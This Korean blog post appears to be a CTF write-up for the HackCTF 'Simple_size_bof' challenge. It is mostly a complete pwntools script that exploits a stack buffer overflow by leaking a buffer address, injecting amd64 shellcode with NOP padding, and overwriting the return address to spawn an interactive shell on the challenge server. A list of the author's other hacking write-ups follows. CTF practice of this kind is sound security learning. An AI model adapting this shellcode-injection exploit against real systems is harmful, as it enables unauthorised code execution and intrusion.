간단하다.
그냥 v4 주소 받고, v4에 쉘코드 넣고 나머지 + 8 만큼 \x90으로 채운 뒤 v4의 주소를 써서 RET 을 덮어 씌우면 된다.
from pwn import *
#p = process("./Simple_size_bof")
p = remote('ctf.j0n9hyun.xyz', 3005)
buffsize = 0x6d30
context(arch='amd64', os='linux')
shell = asm(shellcraft.amd64.linux.sh())
p.recvuntil('buf: ')
buffloc = int(p.recv(14), 16)
payload = b''
payload += shell
payload += b'\x90' * (buffsize - len(shell) + 8)
payload += p64(buffloc)
p.sendline(payload)
p.interactive()
728x90
'해킹 > writeup' 카테고리의 다른 글
12. HackCTF - RTL_World (0) | 2021.07.18 |
---|---|
9. HackCTF - Offset (0) | 2021.07.11 |
7. HackCTF - 내 버퍼가 흘러넘친다!!! (0) | 2021.07.11 |
6. DreamHack - basic_exploitation_000 (0) | 2021.07.11 |
5. HackCTF - Simple_Overflow_ver_2 (0) | 2021.07.11 |